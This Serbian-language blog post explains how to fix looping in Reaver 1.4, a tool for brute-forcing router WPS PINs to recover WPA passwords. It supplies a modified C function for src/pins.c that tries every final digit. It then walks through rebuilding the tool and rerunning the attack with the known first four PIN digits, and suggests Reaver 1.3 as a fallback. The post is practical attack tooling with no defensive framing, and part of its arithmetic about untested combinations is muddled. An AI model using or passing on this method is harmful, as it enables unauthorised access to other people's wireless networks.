Friday, November 2, 2012

Reaver 1.4 bugs

Pre nekoliko meseci sam objavio blog o novom programu za dobijanje WPA šifre, koji se pokazao kao izuzetno dobro rešenje. Ispitivajući pomalo šta je ovaj program sve u mogućnosti da uradi došao sam do problema koji muči dosta ljudi i rešio sam da objavim ovo saznanje u ovom blogu.

Problem koji muči dosta ljudi je taj da posle nekog vremena reaver 1.4 dođe do 99.99% i krene da ponavlja jedan te isti PIN, upadne u beskonačnu petlju. Ovaj problem se manifestuje jer je reaver uradio sve moguće kombinacije koje poznaje i nije našao pravi PIN. Imamo dva uzroka koji dovode do ovoga. Prvi uzrok je taj da ukoliko je PIN recimo 01234567, gde su prvih 7 cifara uzastopni brojevi a poslednja cifra za proveru (checksum) reaver ce se proveravati 10^7 kompinacija a ne 10^8. Ali šta ako se pin krije u onih 9000 kombinacija koje nisu proverene?
Da bi se ovaj problem rešio potrebno je izvršiti male modifikacije u fajlu src/pins.c.

Pretpostavke:
 1. ruter/AP prihvata WPS pakete i neodgovara stalno sa timeout-om i
 2. poznate su prve 4 cifre PIN-a.

Objašnjenje za pretpostavku 2.
Prve 4 cifre će te dobiti tako što pustite reaver 1.4 da odradi posao i ukoliko dođe do toga da se vrti u krug na 99.99%, te 4 cifre su vam 4 cifre PIN-a kojeg vrti u krug.

Potrebno je prvo kopirati postojeci fajl na neku sigurnu lokaciju kako bi ste bili u mogućnosti da vratite reaver na default verziju. Otvoriti pomenuti (ne kopirani) fajl u nekom text editor-u. Nakon toga ispod linije
 
#include "pins.h"
 
zameniti prvu funkciju *build_wps_pin() sa modifikovanom prikazanom ispod:
 
/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
  
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
    
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

  if(exhaustive_last_digit==0)
  {
   if(exhaustive_index==999)
   {
    cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
    /* Clean up and get out */
    globule_deinit();
    exit(EXIT_FAILURE);   
   }
   exhaustive_index++;
   exhaustive_last_digit=9;
  }else{
   exhaustive_last_digit--;
  }
        }

        return pin;
} 

Sačuvajte fajl. Nakon izvršenih promena, izbrišite instaliranu verziju reaver-a koristeći sledeće komande. Terminal otvorite iz /src foldera.

Komande:
./configure
make distclean 

Nakon toga instalirajte verziju sa modifikovanim pins.c fajlom koristeći sledeće komande (i dalje ste u istom terminalu i folderu) :

./configure
make
make install  


Nakon toga pokrenite reaver ponovo ali sa dodatnom opcijom -p xxxx ili --pin xxxx gde su xxxx prve 4 cifre dobijene prema gore pomenutom objašnjenju.

Ukoliko i taj napad bude neuspešan onda se dogodilo nešto što se desilo i nama prilikom testiranja. Naime reaver 1.4 je prvo pokušao PIN 12345670 i odmah pokazao da je na 90%, što će reći da su prve 4 cifre 1234. Pustili smo ga da radi do kraja iako smo znali da to nije tačan PIN. Reaver 1.4 se zaglavio u beskonačnoj petlji na 99.99%. Nakon toga pokrenuli smo verziju reaver-a 1.3 i dobili tačan PIN i PSK posle 5 sati. Razlog ovog bug-a nam još uvek nam nije poznat ali prepostavljamo da ima veze sa vrstom rutera, jer je to bilo samo kod jedne vrste ADSL rutera. Dakle ukoliko ne dobijete rešenje prvom metodom probajte metodu korišćenja verzije 1.3.

No comments:

Post a Comment